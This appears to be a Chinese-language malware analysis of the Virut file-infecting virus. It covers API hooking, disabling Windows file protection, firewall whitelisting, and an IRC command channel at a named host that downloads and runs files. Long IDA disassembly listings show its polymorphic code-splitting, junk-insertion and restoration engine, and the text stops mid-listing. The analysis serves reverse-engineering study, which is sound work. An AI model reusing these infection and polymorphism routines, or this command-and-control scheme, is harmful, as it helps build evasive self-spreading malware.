Virut完整分析
前言
写这个东西唯一的目的就是找工作 貌似 我太功利了
大概2个月前 去某公司应聘 被问住了 无比羞愧中 觉得自己水平真是很差
一:功能分析
virut的代码中用了不少 shellcode的优化技巧
静态分析难度加大了点 不说废话了
1.通过 时间 随机确定 是否执行 病毒体主代码
.rsrc:01037C4C 80 EA C2 sub dl, 0C2h
.rsrc:01037C4F F8 clc
.rsrc:01037C50 B0 25 mov al, 25h
.rsrc:01037C52 B2 46 mov dl, 46h
.rsrc:01037C54 F6 E1 mul cl
.rsrc:01037C56 00 85 FE 3E 00 00 add [ebp+3EFEh], al ; 103bb1c ret C3+25(0) 根据时间随机
.rsrc:01037C56 ; 决定 是否执行CALL 0103BADE
2.创建SECTION对象 对象名 通过时间来随机确定 复制代码到SECTION中,并执行
SECTION 对象名\\BaseNamedObjects\\???tVt
3.进程列表中从第4个进程开始 HOOK 了 ZwCreateFile,ZwQueryInformationProcess,ZwCreateProcessEx,ZwOpenFile
并创建远程线程
.src:01038B2B 83 E9 05 sub ecx, 5
.rsrc:01038B2E 2B C8 sub ecx, eax;计算函数偏移
.rsrc:01038B30 51 push ecx
.rsrc:01038B31 68 00 00 00 E8 push 0E8000000h
.rsrc:01038B36 8D 4C 24 03 lea ecx, [esp+8+var_5]
.rsrc:01038B3A 6A 00 push 0
.rsrc:01038B3C 6A 05 push 5
.rsrc:01038B3E 51 push ecx
.rsrc:01038B3F 50 push eax
.rsrc:01038B40 53 push ebx
.rsrc:01038B41 6A 05 push 5
.rsrc:01038B43 8B CC mov ecx, esp
.rsrc:01038B45 50 push eax
.rsrc:01038B46 8B D4 mov edx, esp
.rsrc:01038B48 50 push eax
.rsrc:01038B49 54 push esp
.rsrc:01038B4A 6A 40 push 40h
.rsrc:01038B4C 51 push ecx
.rsrc:01038B4D 52 push edx
.rsrc:01038B4E 53 push ebx
.rsrc:01038B4F FF 95 F8 50 1B 00 call dword ptr [ebp+1B50F8h];修改内存属性
.rsrc:01038B55 83 C4 0C add esp, 0Ch
.rsrc:01038B58 FF 95 08 51 1B 00 call dword ptr [ebp+1B5108h];写入5个字节的指令
.rsrc:01038B5E 83 C4 08 add esp, 8
.rsrc:01038B61 C3 retn
4.
远程线程:
如果 进程是winlogon 则PATCH SFC的1号导出函数以关闭文件保护
.remote:001B220C mov edx, ss:ExitThread[ebp]
.remote:001B2212 sub edx, edi
.remote:001B2214 sub edx, 7
.remote:001B2217 mov dword ptr [edi], 0E8006Ah
.remote:001B221D mov [edi+3], edx ; 替换 调用完NtWaitForMultipleObjects
.remote:001B221D ; 线程直接退出
.remote:001B2220 retn
(下面不贴代码了 没意思 )
写入注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
键为: 文件路径 值为: 文件路径:*:enabled:@shell32.dll,-1
打开\\Device\\PhysicalMemory对象 并创建线程恢复SSDT
连接到 irc.zief.pl
发送 NICK ????????\nUSER ?
发送 版本号 . . :#硬盘序列号 序列号累加和最后一字节 Service Pack版本\nJOIN
发送 #.364\n
接收命令
接收: PING 则发送: POIN
设置注册表项SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer 键为UpdateHost 值为端口和主机IP的二进制值
接收: PRIV 子命令为!get 则下载文件 并运行
子命令为!host 则更新 主机网址
二:变形的恢复
virut 代码大致可以分为 2部分 header和body 它的变种不少 但基本上只是 header变化body功能不变
而对于附件中的 样本来说
感染的过程中 header 多态变形(其实就是加花并乱序排列) body通过存放在header中的随机key加密自己
在感染前 virut 会自己把 变形后的header还原
还原时 virut依靠两个结构BLOCK_DESCRI和RELOC_DESCRI来转换的
00000000 BLOCK_DESCRI struc ; (sizeof=0x8)
00000000 o_NumberOfOpcode dw ? ; 变形前的opcode数目
00000002 o_offsetStart dw ? ; 本块指令 变形前 在virut中的偏移
00000004 n_offsetStart dw ? ; 本快指令变形后 在virut中的偏移
00000006 n_NumberOfOpcode dw ? ; 变形后 本块指令中opcode数目
00000006 ; 最高位为1时代表 本块指令变形前是以跳转指令或者返回指令结尾
00000008 BLOCK_DESCRI ends
00000000 RELOC_DESCRI struc ; (sizeof=0x6)
00000000 o_offset dw ? ; 跳转指令操作数 变形前在virut中的偏移
00000002 NexOffset dw ? ; 跳转指令 下一条指令的偏移
00000004 TarOffset dw ? ; 跳转指令目的地址的偏移
00000006 RELOC_DESCRI ends
virut多态的过程 实际上是把 header 分成一个个小的BLOCK 随机排列 并把相关信息 用BLOCK_DESCRI描述
RELOC_DESCRI是描述 header中的CALL 以及 JMP之类 需要重定位 操作数的指令 相关信息
RELOC_DESCRI的值是固定不变的
.remote:001B1664 restore_virut: ; DATA XREF: .remote:restore_viruto
.remote:001B1664 2D 64 16 1B 00 sub eax, offset restore_virut ; 变形代码恢复
.remote:001B1669 5E pop esi ; virut_body病毒体起始处
.remote:001B166A 8B E8 mov ebp, eax
.remote:001B166C 8D B8 00 10 1B 00 lea edi, old_header[eax] ; 变形前的 virut_header
.remote:001B1672 01 04 24 add [esp], eax
.remote:001B1675 2B B5 20 1B 1B 00 sub esi, ss:new_body_offset[ebp] ; 得到变形后的virut代码开始处
.remote:001B167B 33 D2 xor edx, edx
.remote:001B167D FE 8D 23 17 1B 00 dec ss:number_block[ebp] ; 多态加密时 分块的个数
.remote:001B1683
.remote:001B1683 loc_1B1683: ; CODE XREF: .remote:001B16E6j
.remote:001B1683 56 push esi ; after_change_virut_header入栈
.remote:001B1684 0F B7 9C D5 28 17+ movzx ebx, ss:block.n_offsetStart[ebp+edx*8]
.remote:001B168C 0F B7 8C D5 2A 17+ movzx ecx, ss:block.n_NumberOfOpcode[ebp+edx*8]
.remote:001B1694 03 F3 add esi, ebx
.remote:001B1696 3B 9D 20 1B 1B 00 cmp ebx, ss:new_body_offset[ebp] ; 变形后的body在virut中的偏移
.remote:001B169C 76 06 jbe short continue_restore ; 是否处理完 长度比较
.remote:001B169E 81 EB 34 3D 00 00 sub ebx, 3D34h
.remote:001B16A4
.remote:001B16A4 continue_restore: ; CODE XREF: .remote:001B169Cj
.remote:001B16A4 81 E1 FF 7F 00 00 and ecx, 7FFFh
.remote:001B16AA
.remote:001B16AA loc_1B16AA: ; CODE XREF: .remote:001B16DBj
.remote:001B16AA 0F A3 9D 44 1A 1B+ bt ss:is_rabish[ebp], ebx ; 位测试为1的则是垃圾指令
.remote:001B16B1 73 03 jnb short loc_1B16B6 ; 是否是花指令
.remote:001B16B3 46 inc esi ; 变形后的header地址增1
.remote:001B16B4 EB 24 jmp short loc_1B16DA
.remote:001B16B6 ; ---------------------------------------------------------------------------
.remote:001B16B6
.remote:001B16B6 loc_1B16B6: ; CODE XREF: .remote:001B16B1j
.remote:001B16B6 83 BD 24 1B 1B 00+ cmp ss:flag_code_change[ebp], 0 ; 不是花指令
.remote:001B16BD 74 1A jz short loc_1B16D9
.remote:001B16BF 8B C3 mov eax, ebx ; ebx表示处理的指令 RVA
.remote:001B16C1 2B 85 24 1B 1B 00 sub eax, ss:flag_code_change[ebp] ; 要替换回来的指令 RVA virut感染后
.remote:001B16C1 ; 此处的代码会变 感染前是mov ebx, [esp+24h] 4字节
.remote:001B16C1 ; 感染后是mov ebx, dword ptr ds:InterlockedIncrement
.remote:001B16C1 ; 变为5字节
.remote:001B16C7 72 10 jb short loc_1B16D9
.remote:001B16C9 83 F8 04 cmp eax, 4
.remote:001B16CC 73 0B jnb short loc_1B16D9
.remote:001B16CE 8A 84 28 28 1B 1B+ mov al, byte ptr changed_code[eax+ebp]
.remote:001B16D5 46 inc esi
.remote:001B16D6 AA stosb
.remote:001B16D7 EB 01 jmp short loc_1B16DA
.remote:001B16D9 ; ---------------------------------------------------------------------------
.remote:001B16D9
.remote:001B16D9 loc_1B16D9: ; CODE XREF: .remote:001B16BDj
.remote:001B16D9 ; .remote:001B16C7j ...
.remote:001B16D9 A4 movsb
.remote:001B16DA
.remote:001B16DA loc_1B16DA: ; CODE XREF: .remote:001B16B4j
.remote:001B16DA ; .remote:001B16D7j
.remote:001B16DA 43 inc ebx
.remote:001B16DB E2 CD loop loc_1B16AA ; header_1处理完后
.remote:001B16DD FE C2 inc dl
.remote:001B16DF 5E pop esi
.remote:001B16E0 3A 95 23 17 1B 00 cmp dl, ss:number_block[ebp] ; 多态加密时 分块的个数
.remote:001B16E6 72 9B jb short loc_1B1683 ; after_change_virut_header入栈
.remote:001B16E8 68 22 00 00 00 push 22h
.remote:001B16ED 8D B5 2C 1B 1B 00 lea esi, reloc_jmp.o_offset[ebp]
.remote:001B16F3 59 pop ecx
.remote:001B16F4
.remote:001B16F4 loc_1B16F4: ; CODE XREF: .remote:001B170Bj
.remote:001B16F4 0F B7 16 movzx edx, word ptr [esi]
.remote:001B16F7 0F B7 46 04 movzx eax, [esi+RELOC_DESCRI.TarOffset] ; 跳转指令目的地址的偏移
.remote:001B16FB 0F B7 5E 02 movzx ebx, [esi+RELOC_DESCRI.NexOffset] ; 跳转指令 下一条指令的偏移
.remote:001B16FF 2B C3 sub eax, ebx
.remote:001B1701 89 84 2A 00 10 1B+ mov dword ptr old_header[edx+ebp], eax
.remote:001B1708 83 C6 06 add esi, 6
.remote:001B170B E2 E7 loop loc_1B16F4
.remote:001B170D C6 85 8F 11 1B 00+ mov byte ptr [ebp+1B118Fh], 0
.remote:001B1714 C6 85 E0 11 1B 00+ mov byte ptr ss:decode_call[ebp], 0C3h ; call 1b104c
.remote:001B171B 83 A5 DA 54 1B 00+ and ss:dword_1B54DA[ebp], 0
.remote:001B1722 C3 retn
这段代码 已经逆出来了 写在附件的nochange.py 用IDApyton执行的 需要修改main函数的参数才能直接运行
也可以在virut_change.idb上直接运行脚本 不用修改参数 运行后 会生成virut_header.bin就是变形前的header了
附件中的virut_header.bin 是恢复好的header 共1e8字节 有兴趣的人可以对比下还原前和还原后的header代码
三:变形
virut通过HOOK 目标进程的ZwCreateFile, ZwOpenFile 实现感染
感染本身的过程不多说了 只要是个病毒 都那样搞的 感兴趣的是怎么实现 加花的
惭愧 分析完这个之后 我才算知道 怎么加花~
1.分块
分块的大体思路是这样的 先随机出 每个BLOCK应该包含的指令数 然后通过 长度反汇编引擎得到 指令的长度 填充
BLOCK_DESCRI 在header中有些特殊的地址 比如存放的字符串 以及解密body的随机KEY 当分块到它们时 不能
直接用长度反汇编引擎 因为它们根本不是指令 所以需要特殊照顾 代码如下:
.remote:001B38C1 004 C6 85 E8 38 1B 00+ mov byte ptr ss:(loc_1B38E7+1)[ebp], 3 ; 设置机器码为push 3其实就是随机的参数
.remote:001B38C8
.remote:001B38C8 loc_1B38C8: ; CODE XREF: sub_1B37FD+18Fj
.remote:001B38C8 004 83 A5 24 1B 1B 00+ and ss:flag_code_change[ebp], 0 ; 要替换回来的指令 RVA virut感染后
.remote:001B38C8 004 00 ; 此处的代码会变 感染前是mov ebx, [esp+24h] 4字节
.remote:001B38C8 ; 感染后是mov ebx, dword ptr ds:InterlockedIncrement
.remote:001B38C8 ; 变为6字节
.remote:001B38CF 004 C6 85 23 17 1B 00+ mov ss:number_block[ebp], 1 ; 多态加密时 分块的个数
.remote:001B38D6 004 8D B5 00 10 1B 00 lea esi, old_header[ebp]
.remote:001B38DC 004 8D BD 24 17 1B 00 lea edi, block.o_NumberOfOpcode[ebp]
.remote:001B38E2 004 66 83 67 02 00 and [edi+BLOCK_DESCRI.o_offsetStart], 0 ; 清空偏移
.remote:001B38E7
.remote:001B38E7 loc_1B38E7: ; CODE XREF: sub_1B37FD+184j
.remote:001B38E7 ; DATA XREF: sub_1B37FD:map_successw ...
.remote:001B38E7 004 6A 03 push 3
.remote:001B38E9 008 58 pop eax
.remote:001B38EA 004 66 83 27 00 and word ptr [edi], 0
.remote:001B38EE 004 66 C7 47 06 00 80 mov word ptr [edi+6], 8000h;设置跳转标志
.remote:001B38F4 004 E8 2F E9 FF FF call rand_mul ; 返回[0:eax)
.remote:001B38F9 004 8D 4A 03 lea ecx, [edx+3] ; 随机出 每个BLOCK包含的指令为 3~5条
.remote:001B38FC
.remote:001B38FC loc_1B38FC: ; CODE XREF: sub_1B37FD+165j
.remote:001B38FC 004 51 push ecx
.remote:001B38FD 008 8D 85 0A 10 1B 00 lea eax, event_name[ebp] ; "Vx_5"
.remote:001B3903 008 8D 8D 4A 10 1B 00 lea ecx, rand_key[ebp] ; 解密body的密钥
.remote:001B3909 008 8D 95 E0 11 1B 00 lea edx, decode_call[ebp] ; call 1b104c
.remote:001B390F 008 3B F0 cmp esi, eax ;这里是3个特殊点
.remote:001B3911 008 75 08 jnz short loc_1B391B ;遇到特殊的3个点 直接得到长度
.remote:001B3913 008 68 05 00 00 00 push 5
.remote:001B3918 00C 59 pop ecx
.remote:001B3919 008 EB 37 jmp short loc_1B3952
.remote:001B391B ; ---------------------------------------------------------------------------
.remote:001B391B
.remote:001B391B loc_1B391B: ; CODE XREF: sub_1B37FD+114j
.remote:001B391B 008 3B F1 cmp esi, ecx
.remote:001B391D 008 75 05 jnz short loc_1B3924
.remote:001B391F 008 6A 02 push 2
.remote:001B3921 00C 59 pop ecx
.remote:001B3922 008 EB 2E jmp short loc_1B3952
.remote:001B3924 ; ---------------------------------------------------------------------------
.remote:001B3924
.remote:001B3924 loc_1B3924: ; CODE XREF: sub_1B37FD+120j
.remote:001B3924 008 3B F2 cmp esi, edx
.remote:001B3926 008 75 09 jnz short loc_1B3931
.remote:001B3928 008 6A 05 push 5
.remote:001B392A 00C C6 47 07 00 mov byte ptr [edi+7], 0
.remote:001B392E 00C 59 pop ecx
.remote:001B392F 008 EB 21 jmp short loc_1B3952
.remote:001B3931 ; ---------------------------------------------------------------------------
.remote:001B3931
.remote:001B3931 loc_1B3931: ; CODE XREF: sub_1B37FD+129j
.remote:001B3931 008 8A 06 mov al, [esi]
.remote:001B3933 008 3C E9 cmp al, 0E9h ;检验是否是跳转指令和返回指令
.remote:001B3935 008 74 0C jz short loc_1B3943
.remote:001B3937 008 3C EB cmp al, 0EBh
.remote:001B3939 008 74 08 jz short loc_1B3943
.remote:001B393B 008 3C C2 cmp al, 0C2h
.remote:001B393D 008 74 04 jz short loc_1B3943
.remote:001B393F 008 3C C3 cmp al, 0C3h
.remote:001B3941 008 75 06 jnz short loc_1B3949 ; 不是跳转指令或者返回指令
.remote:001B3943
.remote:001B3943 loc_1B3943: ; CODE XREF: sub_1B37FD+138j
.remote:001B3943 ; sub_1B37FD+13Cj ...
.remote:001B3943 008 C6 47 07 80 mov byte ptr [edi+7], 80h ; 设置跳转指令的标志
.remote:001B3947 008 EB 04 jmp short loc_1B394D
.remote:001B3949 ; ---------------------------------------------------------------------------
.remote:001B3949
.remote:001B3949 loc_1B3949: ; CODE XREF: sub_1B37FD+144j
.remote:001B3949 008 C6 47 07 00 mov byte ptr [edi+7], 0 ; 清空标志
.remote:001B394D
.remote:001B394D loc_1B394D: ; CODE XREF: sub_1B37FD+14Aj
.remote:001B394D 008 E8 C2 12 00 00 call get_instruction_length;长度反汇编引擎
.remote:001B3952
.remote:001B3952 loc_1B3952: ; CODE XREF: sub_1B37FD+11Cj
.remote:001B3952 ; sub_1B37FD+125j ...
.remote:001B3952 008 66 01 0F add [edi], cx
.remote:001B3955 008 8D 85 E8 11 1B 00 lea eax, loc_1B11E8[ebp]
.remote:001B395B 008 03 F1 add esi, ecx
.remote:001B395D 008 3B F0 cmp esi, eax
.remote:001B395F 008 59 pop ecx
.remote:001B3960 004 73 2F jnb short loc_1B3991 ; 分块结束从此处跳出
.remote:001B3962 004 E2 98 loop loc_1B38FC
.remote:001B3964 004 FE 85 23 17 1B 00 inc ss:number_block[ebp] ; 多态加密时 分块的个数
.remote:001B396A 004 80 BD 23 17 1B 00+ cmp ss:number_block[ebp], 63h ; 多态加密时 分块的个数
.remote:001B3971 004 77 13 ja short loc_1B3986
.remote:001B3973 004 66 8B 47 02 mov ax, [edi+BLOCK_DESCRI.o_offsetStart] ; 本块指令 变形前 在virut中的偏移
.remote:001B3977 004 66 03 07 add ax, [edi]
.remote:001B397A 004 83 C7 08 add edi, 8 ; 偏移+数目 = 下一块指令的偏移
.remote:001B397D 004 66 89 47 02 mov [edi+BLOCK_DESCRI.o_offsetStart], ax ; 本块指令 变形前 在virut中的偏移
.remote:001B3981 004 E9 61 FF FF FF jmp loc_1B38E7
.remote:001B3986 ; ---------------------------------------------------------------------------
.remote:001B3986
.remote:001B3986 loc_1B3986: ; CODE XREF: sub_1B37FD+174j
.remote:001B3986 004 FE 85 E8 38 1B 00 inc byte ptr ss:(loc_1B38E7+1)[ebp]
.remote:001B398C 004 E9 37 FF FF FF jmp loc_1B38C8 ; 如果分块过多的话 增加 随机的指令数
.remote:001B3991 ; ---------------------------------------------------------------------------
.remote:001B3991
.remote:001B3991 loc_1B3991: ; CODE XREF: sub_1B37FD+163j
.remote:001B3991 004 83 C7 08 add edi, 8
.remote:001B3994 004 66 C7 07 34 3D mov [edi+BLOCK_DESCRI.o_NumberOfOpcode], 3D34h ; 描述 病毒体
.remote:001B3999 004 66 C7 47 02 E8 01 mov [edi+BLOCK_DESCRI.o_offsetStart], 1E8h ; 本块指令 变形前 在virut中的偏移
.remote:001B399F 004 66 C7 47 06 34 BD mov [edi+BLOCK_DESCRI.n_NumberOfOpcode], 0BD34h ; 变形后 本块指令中opcode数目
.remote:001B399F 004 ; 最高位为1时代表 本块指令变形前是以跳转指令或者返回指令结尾
.remote:001B39A5 004 FE 85 23 17 1B 00 inc ss:number_block[ebp] ; 多态加密时 分块的个数
.remote:001B39AB 004 8B B5 86 54 1B 00 mov esi, ss:lpFileBase[ebp]
理论上分块可以无限多 但是实际上 分块不能超过80H个 virut设置了 4个双字作为BIT STRING 确定BLOCK是否被处理过的
分块超过80H时 会覆盖BIT STRING 下面的数据 不过对于病毒来说 80H的块足够了
2.乱序排列 这里的代码更长了....
基本思路就是 随机一个数 通过这个数 确定 先复制哪个BLOCK 循环 直到复制完毕 复制的过程中通过随机数确定是否插入
花指令 复制完后如果 BLOCK 不是以跳转指令或者返回指令 就增加一个跳转指令 以便将 变形前在一起的BLOCK 变形后
可以通过跳转指令连接在一起
.remote:001B3BD0 010 8B BD CE 54 1B 00 mov edi, ss:virut_start_in_file_off[ebp]
.remote:001B3BD6
.remote:001B3BD6 loc_1B3BD6: ; CODE XREF: sub_1B37FD+23Fj
.remote:001B3BD6 ; sub_1B37FD+249j
.remote:001B3BD6 010 0F B6 8D 23 17 1B+ movzx ecx, ss:number_block[ebp] ; 多态加密时 分块的个数
.remote:001B3BDD
.remote:001B3BDD loc_1B3BDD: ; CODE XREF: sub_1B37FD+60Ej
.remote:001B3BDD 010 8B C1 mov eax, ecx
.remote:001B3BDF 010 E8 44 E6 FF FF call rand_mul ; 返回[0:eax)
.remote:001B3BE4 010 33 C0 xor eax, eax ; 随机0~number_block这里 开始乱序 排列指令块
.remote:001B3BE6
.remote:001B3BE6 loc_1B3BE6: ; CODE XREF: sub_1B37FD+3F8j
.remote:001B3BE6 010 0F A3 85 BE 54 1B+ bt ss:flag_block[ebp], eax ; 这里4个双字代表BLOCK是否已经变形的标志位串
.remote:001B3BE6 010 00 ; 这里也可以看出 分块时数量不能超过80H
.remote:001B3BED 010 72 04 jb short loc_1B3BF3
.remote:001B3BEF 010 FE CA dec dl
.remote:001B3BF1 010 78 04 js short loc_1B3BF7
.remote:001B3BF3
.remote:001B3BF3 loc_1B3BF3: ; CODE XREF: sub_1B37FD+3F0j
.remote:001B3BF3 010 FE C0 inc al
.remote:001B3BF5 010 EB EF jmp short loc_1B3BE6 ; 找到第dl个未处理的指令块
.remote:001B3BF7 ; ---------------------------------------------------------------------------
.remote:001B3BF7
.remote:001B3BF7 loc_1B3BF7: ; CODE XREF: sub_1B37FD+3F4j
.remote:001B3BF7 010 8B D7 mov edx, edi
.remote:001B3BF9 010 0F AB 85 BE 54 1B+ bts ss:flag_block[ebp], eax ; 置位flag_block对应的BIT 表示 该指令块已被处理过
.remote:001B3C00 010 2B 95 CE 54 1B 00 sub edx, ss:virut_start_in_file_off[ebp]
.remote:001B3C06 010 51 push ecx
.remote:001B3C07 014 66 89 94 C5 28 17+ mov ss:block.n_offsetStart[ebp+eax*8], dx
.remote:001B3C0F 014 0F B7 B4 C5 26 17+ movzx esi, ss:block.o_offsetStart[ebp+eax*8]
.remote:001B3C17 014 0F B7 8C C5 24 17+ movzx ecx, word ptr ss:block.o_NumberOfOpcode[ebp+eax*8]
.remote:001B3C1F 014 81 FE E8 01 00 00 cmp esi, 1E8h ;1E8是变形前HEADER的大小
.remote:001B3C25 014 8D B4 35 00 10 1B+ lea esi, old_header[ebp+esi]
.remote:001B3C2C 014 75 10 jnz short loc_1B3C3E
.remote:001B3C2E 014 C1 E9 02 shr ecx, 2 ; 复制body到宿主中去
.remote:001B3C31 014 89 95 20 1B 1B 00 mov ss:new_body_offset[ebp], edx ; 变形后的body在virut中的偏移
.remote:001B3C37 014 F3 A5 rep movsd
.remote:001B3C39 014 E9 B3 01 00 00 jmp loc_1B3DF1
.remote:001B3C3E ; ---------------------------------------------------------------------------
.remote:001B3C3E
.remote:001B3C3E loc_1B3C3E: ; CODE XREF: sub_1B37FD+42Fj
.remote:001B3C3E ; sub_1B37FD+5EFj
.remote:001B3C3E 014 85 C9 test ecx, ecx
.remote:001B3C40 014 0F 84 AB 01 00 00 jz loc_1B3DF1 ; 指令块处理完则跳
.remote:001B3C46 014 51 push ecx ; 还需要处理的opcode数目
.remote:001B3C47 018 50 push eax ; 指令块结构数组的 下标
.remote:001B3C48 01C B0 02 mov al, 2
.remote:001B3C4A 01C E8 D9 E5 FF FF call rand_mul ; 返回[0:eax)
.remote:001B3C4F 01C 0A D2 or dl, dl
.remote:001B3C51 01C 0F 85 4C 01 00 00 jnz loc_1B3DA3 ; 随机生成0,1 为1则生成花指令
.remote:001B3C57 01C 8B C6 mov eax, esi
.remote:001B3C59 01C 2B C5 sub eax, ebp
.remote:001B3C5B 01C 3D 0A 10 1B 00 cmp eax, offset event_name ; "Vx_5"
.remote:001B3C60 01C 75 0B jnz short loc_1B3C6D ; 3个特殊点
.remote:001B3C62 01C 68 05 00 00 00 push 5
.remote:001B3C67 020 59 pop ecx
.remote:001B3C68 01C E9 25 01 00 00 jmp loc_1B3D92
.remote:001B3C6D ; ---------------------------------------------------------------------------
.remote:001B3C6D
.remote:001B3C6D loc_1B3C6D: ; CODE XREF: sub_1B37FD+463j
.remote:001B3C6D 01C 3D 4A 10 1B 00 cmp eax, offset rand_key ; 解密body的密钥
.remote:001B3C72 01C 75 08 jnz short loc_1B3C7C
.remote:001B3C74 01C 6A 02 push 2
.remote:001B3C76 020 59 pop ecx
.remote:001B3C77 01C E9 16 01 00 00 jmp loc_1B3D92
.remote:001B3C7C ; ---------------------------------------------------------------------------
.remote:001B3C7C
.remote:001B3C7C loc_1B3C7C: ; CODE XREF: sub_1B37FD+475j
.remote:001B3C7C 01C 3D E0 11 1B 00 cmp eax, offset decode_call ; call 1b104c
.remote:001B3C81 01C 75 08 jnz short loc_1B3C8B
.remote:001B3C83 01C 6A 05 push 5
.remote:001B3C85 020 59 pop ecx
.remote:001B3C86 01C E9 07 01 00 00 jmp loc_1B3D92
.remote:001B3C8B ; ---------------------------------------------------------------------------
.remote:001B3C8B
.remote:001B3C8B loc_1B3C8B: ; CODE XREF: sub_1B37FD+484j
.remote:001B3C8B 01C 80 BD 10 55 1B 00+ cmp ss:flag_find_import[ebp], 0FFh ; 是否找到导入kernel的函数
.remote:001B3C92 01C 74 6C jz short no_find
.remote:001B3C94 01C 3D DB 10 1B 00 cmp eax, offset code_change ; 被修改的函数
.remote:001B3C99 01C 72 65 jb short no_find
.remote:001B3C9B 01C 3D E3 10 1B 00 cmp eax, offset loc_1B10E3
.remote:001B3CA0 01C 73 5E jnb short no_find
.remote:001B3CA2 01C 80 7E 01 5C cmp byte ptr [esi+1], 5Ch
.remote:001B3CA6 01C 75 58 jnz short no_find
.remote:001B3CA8 01C AD lodsd
.remote:001B3CA9 01C 8B D7 mov edx, edi
.remote:001B3CAB 01C 89 85 28 1B 1B 00 mov dword ptr ss:changed_code[ebp], eax
.remote:001B3CB1 01C AA stosb ; 存入mov指令
.remote:001B3CB2 01C B0 1D mov al, 1Dh
.remote:001B3CB4 01C 2B 95 CE 54 1B 00 sub edx, ss:virut_start_in_file_off[ebp]
.remote:001B3CBA 01C AA stosb
.remote:001B3CBB 01C 6A 04 push 4
.remote:001B3CBD 020 8B 85 02 55 1B 00 mov eax, ss:va_thunk_data[ebp]
.remote:001B3CC3 020 3B 95 20 1B 1B 00 cmp edx, ss:new_body_offset[ebp] ; 变形后的body在virut中的偏移
.remote:001B3CC9 020 76 06 jbe short loc_1B3CD1
.remote:001B3CCB 020 81 EA 34 3D 00 00 sub edx, 3D34h
.remote:001B3CD1
.remote:001B3CD1 loc_1B3CD1: ; CODE XREF: sub_1B37FD+4CCj
.remote:001B3CD1 020 59 pop ecx
.remote:001B3CD2 01C AB stosd ; 生成mov ebx,dword ptr[xxxxxxxx]
.remote:001B3CD3 01C 89 95 24 1B 1B 00 mov ss:flag_code_change[ebp], edx ; 要替换回来的指令 RVA virut感染后
.remote:001B3CD3 01C ; 此处的代码会变 感染前是mov ebx, [esp+24h] 4字节
.remote:001B3CD3 ; 感染后是mov ebx, dword ptr ds:InterlockedIncrement
.remote:001B3CD3 ; 变为6字节
.remote:001B3CD9
.remote:001B3CD9 loc_1B3CD9: ; CODE XREF: sub_1B37FD+4E4j
.remote:001B3CD9 01C 0F B3 95 44 1A 1B+ btr ss:is_rabish[ebp], edx ; 位测试为1的则是垃圾指令
.remote:001B3CE0 01C 42 inc edx
.remote:001B3CE1 01C E2 F6 loop loc_1B3CD9 ; 设置标志
.remote:001B3CE3 01C 8B 04 24 mov eax, [esp+1Ch+var_1C]
.remote:001B3CE6 01C 66 83 84 C5 2A 17+ add ss:block.n_NumberOfOpcode[ebp+eax*8], 4
.remote:001B3CEF 01C 83 6C 24 04 04 sub [esp+1Ch+var_18], 4 ; 需处理的数目-4
.remote:001B3CF4 01C B1 02 mov cl, 2
.remote:001B3CF6 01C E9 BA 00 00 00 jmp loc_1B3DB5 ; 修改指令为bts
.remote:001B3CF6 ; END OF FUNCTION CHUNK FOR sub_1B37FD
.remote:001B3CFB ; ---------------------------------------------------------------------------
.remote:001B3CFB E9 92 00 00 00 jmp loc_1B3D92
.remote:001B3D00 ; ---------------------------------------------------------------------------
.remote:001B3D00 ; START OF FUNCTION CHUNK FOR sub_1B37FD
.remote:001B3D00
.remote:001B3D00 no_find: ; CODE XREF: sub_1B37FD+495j
.remote:001B3D00 ; sub_1B37FD+49Cj ...
.remote:001B3D00 01C 3D 73 11 1B 00 cmp eax, offset ret_to_host
.remote:001B3D05 01C 0F 85 82 00 00 00 jnz loc_1B3D8D
.remote:001B3D0B 01C 80 BD 10 55 1B 00+ cmp ss:flag_find_import[ebp], 0 ; 是否找到导入kernel的函数
.remote:001B3D12 01C 72 79 jb short loc_1B3D8D
.remote:001B3D14 01C 80 BD 10 55 1B 00+ cmp ss:flag_find_import[ebp], 2 ; 是否找到导入kernel的函数
.remote:001B3D1B 01C 73 70 jnb short loc_1B3D8D
.remote:001B3D1D 01C 80 BD 10 55 1B 00+ cmp ss:flag_find_import[ebp], 0 ; 是否找到导入kernel的函数
.remote:001B3D24 01C 75 06 jnz short loc_1B3D2C
.remote:001B3D26 01C 89 BD 12 55 1B 00 mov ss:ret_to_host_address[ebp], edi
.remote:001B3D2C
.remote:001B3D2C loc_1B3D2C: ; CODE XREF: sub_1B37FD+527j
.remote:001B3D2C 01C 0F B6 85 11 55 1B+ movzx eax, ss:rand_flag[ebp] ; 决定恢复OEP的两条指令 顺序
.remote:001B3D33 01C 6A 07 push 7
.remote:001B3D35 020 6B C0 03 imul eax, 3
.remote:001B3D38 020 59 pop ecx
.remote:001B3D39 01C 8B 95 FE 54 1B 00 mov edx, ss:old_entrypoint[ebp]
.remote:001B3D3F 01C 80 BD 10 55 1B 00+ cmp ss:flag_find_import[ebp], 1 ; 是否找到导入kernel的函数
.remote:001B3D46 01C 75 05 jnz short loc_1B3D4D
.remote:001B3D48 01C 83 C2 04 add edx, 4
.remote:001B3D4B 01C 2B D0 sub edx, eax
.remote:001B3D4D
.remote:001B3D4D loc_1B3D4D: ; CODE XREF: sub_1B37FD+549j
.remote:001B3D4D 01C 03 C8 add ecx, eax
.remote:001B3D4F 01C B0 C6 mov al, 0C6h
.remote:001B3D51 01C 02 85 11 55 1B 00 add al, ss:rand_flag[ebp] ; 决定恢复OEP的两条指令 顺序
.remote:001B3D57 01C AA stosb
.remote:001B3D58 01C B0 05 mov al, 5
.remote:001B3D5A 01C AA stosb
.remote:001B3D5B 01C 8B C2 mov eax, edx
.remote:001B3D5D 01C 03 43 34 add eax, [ebx+34h]
.remote:001B3D60 01C AB stosd
.remote:001B3D61 01C 03 95 E6 54 1B 00 add edx, ss:entrypoint_offset_sub_rva[ebp]
.remote:001B3D67 01C 03 95 86 54 1B 00 add edx, ss:lpFileBase[ebp]
.remote:001B3D6D 01C 8B 02 mov eax, [edx]
.remote:001B3D6F 01C 80 BD 11 55 1B 00+ cmp ss:rand_flag[ebp], 0 ; 决定恢复OEP的两条指令 顺序
.remote:001B3D76 01C 75 03 jnz short loc_1B3D7B
.remote:001B3D78 01C AA stosb
.remote:001B3D79 01C EB 01 jmp short loc_1B3D7C
.remote:001B3D7B ; ---------------------------------------------------------------------------
.remote:001B3D7B
.remote:001B3D7B loc_1B3D7B: ; CODE XREF: sub_1B37FD+579j
.remote:001B3D7B 01C AB stosd
.remote:001B3D7C
